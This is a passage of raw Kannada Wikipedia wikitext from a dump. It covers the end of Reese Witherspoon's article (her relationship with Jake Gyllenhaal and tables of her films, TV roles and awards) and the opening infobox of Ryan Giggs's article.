trip to Rome|publisher=[[Daily Mail]]|date=2007-10-25|url=http://www.dailymail.co.uk/tvshowbiz/article-489393/Reese-Witherspoon-Jake-Gyllenhaal-come-couple-romantic-trip-Rome.html|accessdate=2007-11-17}}</ref> ಅಂದಿನಿಂದಲೂ, ಆಗ್ಗಿಂದಾಗ್ಗೆ ಪಪರಾಜಿಗಳು ಈ ಜೋಡಿಯ ಛಾಯಾಚಿತ್ರಗಳ್ಳನ್ನು ತೆಗೆಯುತ್ತಿದ್ದರು.<ref>{{cite web| title=Reese and Jake's Sexy Getaway|work=[[US Weekly]] |date=2007-11-14 |accessdate=2008-01-04 |url=http://www.usmagazine.com/node/13316}}</ref><ref>{{cite web| title=Jake and Reese Go Hiking with Her Kids|url=http://www.huffingtonpost.com/2008/01/02/jake-and-reese-go-hiking-_n_79193.html |publisher=[[The Huffington Post]] |date=2008-01-02 |accessdate=2008-01-04}}</ref><ref>{{cite web| title=Reese and Jake: SoHo in Love |url=http://extratv.warnerbros.com/2008/03/jake_and_reese_so_ho_in_love.php |publisher=Extratv.warnerbros.com |date=2008-03-13|accessdate=2008-03-14}}</ref><ref>{{cite web|title=Tidbits: Reese and Jake reportedly ready to we d|publisher=[[msnbc.com|msnbc]]|first=Ree|last=Hines|url=http://www.msnbc.msn.com/id/24633078/|accessdate=2008-05-17|archive-date=2009-01-25|archive-url=https://web.archive.org/web/20090125114501/http://www.msnbc.msn.com/id/24633078/|url-status=dead}}</ref> ಮಾರ್ಚ್‌ 2008ರಲ್ಲಿ ತಮ್ಮ ಇತ್ತೀಚೆಗಿನ ಚಲನಚಿತ್ರವನ್ನು ಪ್ರವರ್ತಿಸುವ ಸಮಾರಂಭದಲ್ಲಿ ರಯಾನ್‌ ಈ ಸಂಬಂಧವನ್ನು ಮೊದಲು ಖಚಿತಪಡಿಸಿದರು.<ref>{{cite web |title=Ryan Phillippe: Seeing Reese with Jake is 'Bizarre' |url=http://www.people.com/people/article/0,,20186386,00.html |work=[[People]] |date=2008-03-26 |accessdate=2008-05-17 |archive-date=2008-10-30 |archive-url=https://web.archive.org/web/20081030023037/http://www.people.com/people/article/0,,20186386,00.html |url-status=dead }}</ref><ref>{{cite web|title=Ryan Phillippe: Jake Gyllenhaal is a "Good Dude"|url=http://www.usmagazine.com/ryan_phillippe_jake_gyllenhaal_is_a_good_dude|work=[[Us Magazine]]|date=2008-03-21|accessdate=2008-05-17|archive-date=2009-03-15|archive-url=https://web.archive.org/web/20090315043627/http://www.usmagazine.com/ryan_phillippe_jake_gyllenhaal_is_a_good_dude|url-status=dead}}</ref> ಅವರು ಖುದ್ದಾಗಿ ಜೇಕ್‌ ಗಿಲೆನ್ಹಾಲ್‌ರೊಂದಿಗಿನ ಈ ಸಂಬಂಧವನ್ನು ಖಚಿತಪಡಿಸಿದರು. ನವೆಂಬರ್‌ 2008ರ ''[[ವೋಗ್‌]]'' ಪತ್ರಿಕೆಗೆ ನೀಡಿದ ಸಂದರ್ಶನದಲ್ಲಿ ತಮ್ಮ ಗೆಳೆಯನನ್ನು "ಅತ್ಯಂತ ಪ್ರೋತ್ಸಾಹಕ" ಎಂದು ಕರೆದಿದ್ದಾರೆ.<ref>{{cite web |title=Reese Witherspoon On Kids, Jake, And Working With Vince Vaughn |publisher=[[Huffington Post]]|url=http://www.huffingtonpost.com/2008/10/14/reese-witherspoon-on-kids_n_134648.html |date=2008-10-14 |accessdate=2008-11-19}}</ref> ನವೆಂಬರ್‌ 2009ರಲ್ಲಿ ಜೋಡಿಯು ಬೇರ್ಪಟ್ಟರೆಂದು ವರದಿಯಾಗಿತ್ತು.<ref>{{cite web |first=Ulrica |last=Wihlborg |coauthor=Stephen M. Silverman |title=Reese Witherspoon and Jake Gyllenhaal Split |url=http://www.people.com/people/article/0,,20323257,00.html |date=2009-11-29 |accessdate=2009-11-29}}</ref> ಆದರೆ ವಿದರ್‌ಸ್ಪೂನ್ ಮತ್ತು ಗಿಲೆನ್‌ಹಾಲ್ ಪ್ರಸಾರಕರು ಈ ಸುದ್ದಿಯನ್ನು ಜಂಟಿಯಾಗಿ ನಿರಾಕರಿಸಿ 'ಅವರಿಬ್ಬರು ಈಗಲೂ ಒಟ್ಟಿಗೇ ಇರುವುದಾಗಿ' ಘೋಷಿಸಿದರು.<ref>{{cite web |first=Ulrica |last=Wihlborg |coauthor=Stephen M. Silverman |title=Reps Claim Jake and Reese Are Still Together |url=http://www.people.com/people/article/0,,20323262,00.html |date=2009-11-29 |accessdate=2009-11-30}}</ref> == ಚಲನಚಿತ್ರಗಳ ಪಟ್ಟಿ == {|class="wikitable" style="font-size: 90%;" border="2" cellpadding="4" background: #f9f9f9; |- align="center" ! style="background:#B0C4DE;" | ಇಸವಿ ! style="background:#B0C4DE;" | ಚಿತ್ರ ! style="background:#B0C4DE;" | ಪಾತ್ರ ! align="center"#B0C4DE;" |ಟಿಪ್ಪಣಿಗಳು |- |rowspan="2"| 1991 | ''[[ದಿ ಮ್ಯಾನ್‌ ಇನ್‌ ದಿ ಮೂನ್‌]]'' | ಡ್ಯಾನಿ ಟ್ರ್ಯಾಂಟ್‌ |ನಾಮನಿರ್ದೇಶಿತ – [[ಚಲನಚಿತ್ರದಲ್ಲಿ ನಟಿಸಿದ ಅತ್ಯುತ್ತಮ ಕಿರಿಯ ನಟಿಗಾಗಿ ಕಿರಿಯ ಕಲಾವಿದೆ ಪ್ರಶಸ್ತಿ‌]] |- |''ವೈಲ್ಡ್‌ಫ್ಲವರ್‌'' | ಎಲ್ಲೀ ಪರ್ಕಿನ್ಸ್‌ | |- |1992 | ''ಡೆಸ್ಪರೇಟ್‌ ಚಾಯ್ಸಸ್‌: ಟು ಸೇವ್‌ ಮೈ ಚೈಲ್ಡ್‌'' | ಕ್ಯಾಸೀ | |- |rowspan="3"| 1993 | ''[[ಎ ಫಾರ್‌-ಆಫ್‌ ಪ್ಲೇಸ್‌]]'' | ನೊನ್ನೀ ಪಾರ್ಕರ್‌ | |- |''[[ಜ್ಯಾಕ್ ದಿ ಬೆಯರ್‌]]'' | ಕರೆನ್‌ ಮಾರಿಸ್‌ | [[ಅತ್ಯುತ್ತಮ ಯುವನಟಿ ಸಹ-ನಟಿಗಾಗಿ ಯುವ ಕಲಾವಿದೆ ಪ್ರಶಸ್ತಿ‌]] |- |''[[ರಿಟರ್ನ್‌ ಟು ಲೋನ್ಸಮ್‌ ಡವ್‌]]'' | ಫೆರಿಸ್‌ ಡನ್ನಿಗನ್‌ | TV ಕಿರುಸರಣಿ |- |1994 | ''[[S.F.W.]]'' | ವೆಂಡಿ ಫಿಸ್ಟರ್‌ | |- |rowspan="2"| 1996 |ಫ್ರೀವೆ | ವ್ಯಾನೆಸಾ | [[ಕಾಗ್ನ್ಯಾಕ್‌ ಫೆಸ್ಟಿವಲ್‌ ಡು ಫಿಲ್ಮ್‌ ಪೊಲಿಸಿಯರ್‌ ಪ್ರಶಸ್ತಿ‌ – ಅತ್ಯುತ್ತಮ ನಟಿ]] |- |''[[ಫಿಯರ್‌]]'' | ನಿಕೋಲ್‌ ವಾಕರ್‌ | |- |rowspan="3"| 1998 | ''[[ಟ್ವೈಲೈಟ್‌]]'' | ಮೆಲ್‌ ಅಮೆಸ್‌ | |- |''[[ಒವರ್ನೈಟ್‌ ಡೆಲಿವರಿ]]'' | ಇವಿ ಮಿಲ್ಲರ್‌ | |- |''[[ಪ್ಲೆಸೆಂಟ್ವಿಲ್ಲೆ‌]]'' | ಜೆನ್ನಿಫರ್‌/ಮೇರಿ ಸ್ಯೂ | ನಾಮನಿರ್ದೇಶಿತ – [[ಅತೀ ಹಾಸ್ಯ ದೃಶ್ಯಕ್ಕಾಗಿ ಟೀನ್‌ ಚಾಯ್ಸ್‌ ಪ್ರಶಸ್ತಿ‌]] |- |rowspan="3"| 1999 | ''[[ಕ್ರೂಯಲ್‌ ಇಂಟೆನ್ಷನ್ಸ್‌]]'' | ಆನೆಟ್‌ ಹಾರ್ಗ್ರೊವ್‌ | [[ನೆಚ್ಚಿನ ಪೋಷಕ ನಟಿಗಾಗಿ ಬ್ಲಾಕ್ಬಸ್ಟರ್‌ ಮನರಂಜನೆ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ – [[ಅತಿ ಲೈಂಗಿಕಾರ್ಷಕ ಪ್ರೇಮ ದೃಶ್ಯಕ್ಕಾಗಿ ಹದಿಹರೆಯದವರ ಆಯ್ಕೆಯ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ – [[ಆಯ್ದ ನಟಿಗಾಗಿ ಹದಿಹರೆಯದವರ ಆಯ್ಕೆಯ ಪ್ರಶಸ್ತಿ‌]] |- |ಎಲೆಕ್ಷನ್‌ | ಟ್ರೇಸಿ ಫ್ಲಿಕ್‌ |[[ಕ್ಯಾನ್ಸಾಸ್ ಸಿಟಿ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ವಲಯದಿಂದ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ]]<br />[[ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ರಾಷ್ಟ್ರೀಯ ಸಂಘದಿಂದ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ]]<br />[[ಆನ್ ಲೈನ್ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಸೊಸೈಟಿಯಿಂದ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ]]<br />ನಾಮನಿರ್ದೇಶಿತ – [[ಚಲನಚಿತ್ರದಲ್ಲಿ ಅತಿಯಾದ ಹಾಸ್ಯ ಪ್ರದರ್ಶಿಸಿದ ನಟಿಯೆಂದು ಅಮೆರಿಕನ್‌ ಕಾಮೆಡಿ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ-[[ಶಿಕಾಗೊ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಸಂಘದಿಂದ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ]].<br />ನಾಮನಿರ್ದೇಶಿತ – [[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಕ್ಲೋಟ್ರುಡಿಸ್‌ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌‌ನಿಂದ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ-ಸಂಗೀತ-ಪ್ರಧಾನ ಅಥವಾ ಹಾಸ್ಯ ಚಲನಚಿತ್ರ]]<br />ನಾಮನಿರ್ದೇಶಿತ - [[ಅತ್ಯುತ್ತಮ ಪ್ರಮುಖ ನಟಿಗಾಗಿ ಇಂಡಿಪೆಂಡೆಂಟ್ ಸ್ಪಿರಿಟ್ ಪ್ರಶಸ್ತಿ]]<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಲಾಸ್ ವೇಗಾಸ್ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಸೊಸೈಟಿ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಸಂಗೀತ ಪ್ರಧಾನ ಚಲನಚಿತ್ರ ಅಥವಾ ಹಾಸ್ಯ ಚಲನಚಿತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಸ್ಯಾಟೆಲೈಟ್‌ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ —[[ಚಾಯ್ಸ್‌ ಹಿಸ್ಸಿ ಫಿಟ್‌ಗಾಗಿ ಹದಿಹರೆಯದವರ ಆಯ್ಕೆಯ ಪ್ರಶಸ್ತಿ]] |- |''[[ಬೆಸ್ಟ್‌ ಲೇಯ್ಡ್ ಪ್ಲ್ಯಾನ್ಸ್‌]]'' | ಲಿಸಾ | |- |rowspan="2"| 2000 | ''[[ಲಿಟ್ಲ್‌ ನಿಕಿ]]'' | ಹೊಲ್ಲಿ |ಸಣ್ಣ ಪಾತ್ರ |- |''[[ಅಮೆರಿಕನ್‌ ಸೈಕೊ]]'' | ಎವೆಲಿನ್‌ ವಿಲಿಯಮ್ಸ್‌ | |- |rowspan="2"| 2001 | ''[[ದಿ ಟ್ರಂಪೆಟ್‌ ಆಫ್‌ ದಿ ಸ್ವಾನ್‌]]'' | ಸೆರಿನಾ | ಧ್ವನಿ |- |''[[ಲೀಗಲ್ಲಿ ಬ್ಲೋಂಡ್‌]]'' | ಎಲ್ಲೆ ವುಡ್ಸ್‌ |ನಾಮನಿರ್ದೇಶನ -ಅತ್ಯುತ್ತಮ ಹಾಸ್ಯ ಪಾತ್ರಕ್ಕೆ MTV ಮೂವೀ ಪ್ರಶಸ್ತಿ<br />[[ಅತ್ಯುತ್ತಮ ವಸ್ತ್ರಧಾರಣೆಗಾಗಿ MTV ಮೂವೀ ಅವಾರ್ಡ್‌]]<br />[[MTV ಅತ್ಯುತ್ತಮ ಸಾಲಿಗಾಗಿ ಮೂವೀ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಸಂಗೀತ-ಪ್ರಧಾನ ಅಥವಾ ಹಾಸ್ಯ ಚಲನಚಿತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ –[[ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ MTV ಮೂವೀ ಪ್ರಶಸ್ತಿ‌ - ಸ್ತ್ರೀಪಾತ್ರ]]<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಸ್ಯಾಟೆಲೈಟ್‌ ಪ್ರಶಸ್ತಿ - ಸಂಗೀತಮಯ ಅಥವಾ ಹಾಸ್ಯ ಚಲನಚಿತ್ರ]] |- |rowspan="2"| 2002 | ''[[ದಿ ಇಂಪಾರ್ಟೆನ್ಸ್ ಆಫ್ ಬೀಯಿಂಗ್ ಅರ್ನೆಸ್ಟ್]]'' | ಸೆಸಿಲಿ ಕಾರ್ಡಿವ್ |ನಾಮನಿರ್ದೇಶಿತ – [[ಚಾಯ್ಸ್ ನಟಿಗಾಗಿ ಹದಿಹರೆಯದವರ ಆಯ್ಕೆಯ ಪ್ರಶಸ್ತಿ‌]] |- |''[[ಸ್ವೀಟ್ ಹೋಮ್ ಅಲಾಬಾಮಾ]]'' | ಮೆಲಾನಿ ಕಾರ್ಮೈಕಲ್ |[[ಆಯ್ದ ಚಿತ್ರ ಲಿಪ್‌ಲಾಕ್‌ಗೆ ಟೀನ್‌ ಚಾಯ್ಸ್‌ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ –[[ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ MTV ಮೂವೀ ಪ್ರಶಸ್ತಿ‌-ಸ್ತ್ರೀ ಪಾತ್ರ]] <br />ನಾಮನಿರ್ದೇಶಿತ – [[ಆಯ್ದ ನಟಿಗಾಗಿ ಹದಿಹರೆಯದವರ ಆಯ್ಕೆಯ ಪ್ರಶಸ್ತಿ‌]] |- |2003 | ''[[Legally Blonde 2: Red, White & Blonde]]'' | ಎಲ್ಲೆ ವುಡ್ಸ್‌ | ಕಾರ್ಯಕಾರಿ ನಿರ್ಮಾಪಕಿ |- |2004 | ''[[ವ್ಯಾನಿಟಿ ಫೆಯರ್‌]]'' | ಬೆಕ್ಕಿ ಷಾರ್ಪ್‌ | |- |rowspan="2"| 2005 | ''[[ವಾಕ್‌ ದಿ ಲೈನ್‌]]'' | [[ಜೂನ್‌ ಕಾರ್ಟರ್‌ ಕ್ಯಾಷ್‌]] | ವೋಕಲ್ಸ್‌<br />[[ನಾಮನಿರ್ದೇಶಿತ - ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ‌‌]]<br />[[ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ ಆಸ್ಟಿನ್ ಚಲನಚಿತ್ರ ಒಕ್ಕೂಟದ ಪ್ರಶಸ್ತಿ‌]]<br />[[ಮುಖ್ಯ ಪಾತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ BAFTA ಪ್ರಶಸ್ತಿ‌]]<br />[[ಅತ್ಯುತ್ತಮ ಪೋಷಕ ನಟಿಗಾಗಿ ಬೊಸ್ಟನ್ ಸೊಸೈಟಿ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಪ್ರಶಸ್ತಿ]]<br />[[ನಾಮನಿರ್ದೇಶಿತ – ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಬ್ರಾಡ್‌ಕ್ಯಾಸ್ಟ್‌ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಒಕ್ಕೂಟದ ಪ್ರಶಸ್ತಿ]]<br />[[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಫ್ಲಾರಿಡಾ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ವಲಯದ ಪ್ರಶಸ್ತಿ‌]]<br />[[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌ ಪ್ರಶಸ್ತಿ‌ – ಸಂಗೀತ ಮತ್ತು ಹಾಸ್ಯ ಚಲನಚಿತ್ರ]]<br />[[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಕ್ಯಾನ್ಸಾಸ್ ಸಿಟಿ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ವಲಯದ ಪ್ರಶಸ್ತಿ]]<br />[[ನಾಮನಿರ್ದೇಶಿತ— ಲಾಸ್ ವೇಗಾಸ್ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಸೊಸೈಟಿಯ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ]]<br />[[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ನ್ಯಾಷನಲ್‌ ಸೊಸೈಟಿ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಪ್ರಶಸ್ತಿ‌]]<br />[[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ನ್ಯೂಯಾರ್ಕ್ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಸರ್ಕಲ್ ಪ್ರಶಸ್ತಿ]]<br />[[ಶ್ರೇಷ್ಠ ಚಲನಚಿತ್ರ ನಟಿಗಾಗಿ ಆನ್ಲೈನ್ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಸೊಸೈಟಿ ಪ್ರಶಸ್ತಿ.]]<br />[[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಸ್ಯಾನ್‌ ಫ್ರಾನ್ಸಿಸ್ಕೊ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ವಲಯದ ಪ್ರಶಸ್ತಿ‌]]<br />[[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಸ್ಯಾಟೆಲೈಟ್‌ ಪ್ರಶಸ್ತಿ‌ – ಸಂಗೀತ ಮತ್ತು ಹಾಸ್ಯ ಚಲನಚಿತ್ರ]]<br />[[ನಾಮನಿರ್ದೇಶನ - ಚಲನಚಿತ್ರ ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಚಲನಚಿತ್ರ ನಟರ ಗಿಲ್ಡ್ ಪ್ರಶಸ್ತಿ]]<br />[[ಅತ್ಯುತ್ತಮ ಆಯ್ಕೆಯಾದ ನಟಿಗಾಗಿ ಹದಿಹರೆಯದವರ ಆಯ್ಕೆ ಪ್ರಶಸ್ತಿ]]<br />[[ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ವಾಷಿಂಗ್ಟನ್‌ D.C. ಏರಿಯಾ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಒಕ್ಕೂಟದ ಪ್ರಶಸ್ತಿ‌]]<br />ನಾಮನಿರ್ದೇಶಿತ – ಅತ್ಯುತ್ತಮ ನಟಿಗಾಗಿ ಎಂಪೈರ್ ಪ್ರಶಸ್ತಿ<br />|ನಾಮನಿರ್ದೇಶನ — ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ MTV ಮ‌ೂವೀ ಪ್ರಶಸ್ತಿ |- |''[[ಜಸ್ಟ್‌ ಲೈಕ್‌ ಹೆವೆನ್‌]]'' | ಎಲಿಜಬೆತ್‌ ಮಾಸ್ಟರ್ಸನ್‌ | |- |2007 | ''[[ರೆಂಡಿಷನ್‌]]'' | ಇಸಾಬೆಲ್ಲಾ ಎಲ್‌-ಇಬ್ರಾಹಿಮಿ |ನಾಮನಿರ್ದೇಶಿತ – [[ಚಾಯ್ಸ್‌ ನಟಿಗಾಗಿ ಹದಿಹರೆಯದವರ ಆಯ್ಕೆ ಪ್ರಶಸ್ತಿ‌]] |- |rowspan="2"| 2008 | ''[[ಪೆನೆಲೋಪ್‌]]'' | ಆನೀ | |- |''[[ಫೋರ್‌ ಕ್ರಿಸ್ಮಸೆಸ್‌]]'' | ಕೇಟ್ | |- | 2009 | ''[[ಮಾನ್ಸ್ಟರ್ಸ್‌ ವರ್ಸಸ್‌ ಏಲಿಯೆನ್ಸ್‌]]'' | ಸೂಸಾನ್‌ ಮರ್ಫಿ / ಗಿನೊರ್ಮಿಕಾ | ಧ್ವನಿ |} === TV ಕಾರ್ಯಕ್ರಮಗಳು === {|class="wikitable" style="font-size: 90%;" border="2" cellpadding="4" background: #f9f9f9; |- align="center" ! style="background:#B0C4DE;" | ಇಸವಿ ! style="background:#B0C4DE;" | ಶೀರ್ಷಿಕೆ ! style="background:#B0C4DE;" | ಪಾತ್ರ ! style="background:#B0C4DE;" | ಟಿಪ್ಪಣಿಗಳು |- | rowspan="2"| 2000 | ''[[ಕಿಂಗ್‌ ಆಫ್‌ ದಿ ಹಿಲ್‌]]'' | ಡೆಬ್ಬೀ | 2 ಕಂತುಗಳು<br />| (ಧ್ವನಿ) |- | ಫ್ರೆಂಡ್ಸ್‌ | ಜಿಲ್‌ ಗ್ರೀನ್‌ | 2 ಸಂಚಿಕೆಗಳು<br />ನಾಮನಿರ್ದೇಶಿತ – [[TV ಸರಣಿಯಲ್ಲಿ ಅತ್ಯಂತ ಹಾಸ್ಯದ ಅತಿಥಿ ಪಾತ್ರಕ್ಕಾಗಿ ಅಮೆರಿಕನ್‌ ಹಾಸ್ಯ ಪ್ರಶಸ್ತಿ‌]] |- | 2002 |ದಿ ಸಿಂಪ್ಸನ್ಸ್‌ | ಗ್ರಿಟಾ ವುಲ್ಫ್‌ಕ್ಯಾಸ್ಲ್‌ | 1 ಸಂಚಿಕೆ<br />| (ಧ್ವನಿ) |- | 2003 | ''ಫ್ರೀಡಮ್‌: ಎ ಹಿಸ್ಟರಿ ಆಫ್‌ ಅಸ್‌'' ವಿವಿಧ ಪಾತ್ರಗಳು | 3 ಕಂತುಗಳು |- |2009 |''ಮಾನ್ಸ್ಟರ್ಸ್‌ ವರ್ಸಸ್‌ ಏಲಿಯೆನ್ಸ್‌: ಮ್ಯೂಟಂಟ್‌ ಪಂಪ್ಕಿನ್ಸ್‌ ಫ್ರಮ್‌ ಔಟರ್‌ ಸ್ಪೇಸ್‌'' |ಸೂಸಾನ್‌ ಮರ್ಫಿ / ಗಿನೊರ್ಮಿಕಾ |ಹ್ಯಾಲೊವೀನ್‌ TV ವಿಶೇಷ<br />| (ಧ್ವನಿ) |} == ಧ್ವನಿಮುದ್ರಿಕೆ ಪಟ್ಟಿ == {|class="wikitable" style="font-size: 90%;" border="2" cellpadding="4" background: #f9f9f9; width=25% |- align="center" ! style="background:#B0C4DE;" | ಇಸವಿ ! style="background:#B0C4DE;" | ಧ್ವನಿಮುದ್ರಿಕೆ |- | align="center"|2005 | align="center"|''[[ವಾಕ್‌ ದಿ ಲೈನ್‌]]'' |} == ಆಕರಗಳು == {{reflist|3}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{commons|Reese Witherspoon}} *{{imdb|0000702}} *[[ಆಲ್‌ಮೂವೀ]]ನಲ್ಲಿ [http://www.allmovie.com/artist/reese-witherspoon-77086 ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌] {{Persondata |NAME=Witherspoon, Reese |ALTERNATIVE NAMES= |SHORT DESCRIPTION=film actress |DATE OF BIRTH=March 22, 1976 |PLACE OF BIRTH={{city-state|New Orleans|Louisiana}}, U.S. |DATE OF DEATH= |PLACE OF DEATH= }} {{DEFAULTSORT:Witherspoon, Reese}} [[ವರ್ಗ:೧೯೭೬ ಜನನ]] [[ವರ್ಗ:ಈಗಿರುವ ವ್ಯಕ್ತಿಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ಚಲನಚಿತ್ರ ನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ಬಾಲ ನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ದೂರದರ್ಶನ (ಕಿರುತೆರೆ) ನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ಧ್ವನಿದಾನ ನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ಬಿಷಪ್‌ ಗಣಪ್ರಭುತ್ವವಾದಿಗಳು]] [[ವರ್ಗ:ಅಕ್ಯಾಡಮಿ ಪ್ರಶಸ್ತಿ‌ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ ವಿಜೇತೆಯರು]] [[ವರ್ಗ:ಸ್ಕಾಟಿಷ್‌ ಅಮೇರಿಕನ್ನರು]] [[ವರ್ಗ:BAFTA ವಿಜೇತರು (ಜನರು)]] [[ವರ್ಗ:ಮಿಲಿಟರಿ ಬ್ರ್ಯಾಟ್ಸ್]] [[ವರ್ಗ:MTV ಮೂವೀ ಪ್ರಶಸ್ತಿ‌ ವಿಜೇತರು]] [[ವರ್ಗ:ಟನ್ನೆಸೀಯ ನ್ಯಾಷ್ವಿಲ್‌ನ ಜನರು]] [[ವರ್ಗ:ಸ್ಟ್ಯಾನ್ಫರ್ಡ್‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳು]] [[ವರ್ಗ:ಟೆನಿಸ್ಸೀಯ ನಟರು]] [[ವರ್ಗ:ಲೂಯಿಸಿಯಾನಾದ ನ್ಯೂ ಆರ್ಲಿಯನ್ಸ್‌ನ ಜನರು]] [[ವರ್ಗ:ಲೂಸಿಯಾನದ ನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕರು]] [[ವರ್ಗ:ಹಾಲಿವುಡ್ ಚಲನಚಿತ್ರ ಕಲಾವಿದರು]] e3it5ezs0ax951rnim96sf3avsrklav ರಿಯಾನ್‌ ಗಿಗ್ಸ್‌ 0 22939 1116416 1065100 2022-08-23T12:10:40Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox football biography 2 | playername = Ryan Giggs | image = Giggs PL trophy.jpg | fullname = Ryan Joseph Giggs | dateofbirth = {{Birth date and age|1973|11|29|df=y}} | cityofbirth = [[Canton, Cardiff]] | countryofbirth = [[Wales]] | height = {{convert|5|ft|11|in|m|2|abbr=on}} | position = [[Midfielder]] | currentclub = [[Manchester United F.C.|Manchester United]] | clubnumber = 11 | youthyears1 = 1985–1987 |youthclubs1 = [[Manchester City F.C.|Manchester City]] | youthyears2 = 1987–1990 |youthclubs2 = [[Manchester United F.C.|Manchester United]] | years1 = 1990– |clubs1 = [[Manchester United F.C.|Manchester United]] |caps1 = 580 |goals1 = 105<!-- LEAGUE GAMES ONLY --> | nationalyears1 = 1990 |nationalteam1 = [[Wales national under-21 football team|Wales U21]] |nationalcaps1 = 1 |nationalgoals1 = 0 | nationalyears2 = 1991–2007<ref>{{cite web |url=http://www.rsssf.com/miscellaneous/wal-recintlp.html |title=Wales - Record International Players |first=Luis Fernando Passo |last=Alpuin |publisher=[[Rec.Sport.Soccer Statistics Foundation]] |date=20 February 2009 |accessdate=10 March 2009 }}</ref> |nationalteam2 = [[Wales national football team|Wales]] |nationalcaps2 = 64 |nationalgoals2 = 12 | pcupdate = 21:37, 31 January 2010 (UTC) }} ರಿಯಾನ್ ಜೊಸೆಫ್ ಗಿಗ್ಸ್ <small>[[OBE]]</small><ref name="bbc_obe">{{cite news |title=OBE honour for United hero Giggs|url=http://news.bbc.co.uk/1/hi/england/manchester/7138518.stm|publisher=BBC News|date=11 December 2007|accessdate=20 November 2008}}</ref>(ಜನಿಸಿದ್ದು<small>'''[[ರಿಯಾನ್ ಜೊಸೆಫ್ ವಿಲ್ಸನ್]]''' </small> 29ನವೆಂಬರ್ 1973) ಈತ '''[[ವೆಲ್ಶ್]]''' ನ [[ಫೂಟ್ ಬಾಲ್ ಆಟಗಾರ]] ತನ್ನ [[ವೃತ್ತಿ ಜೀವನದ ಕ್ರೀಡೆ]]ಯನ್ನು''' ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್''' ಪರವಾಗಿ 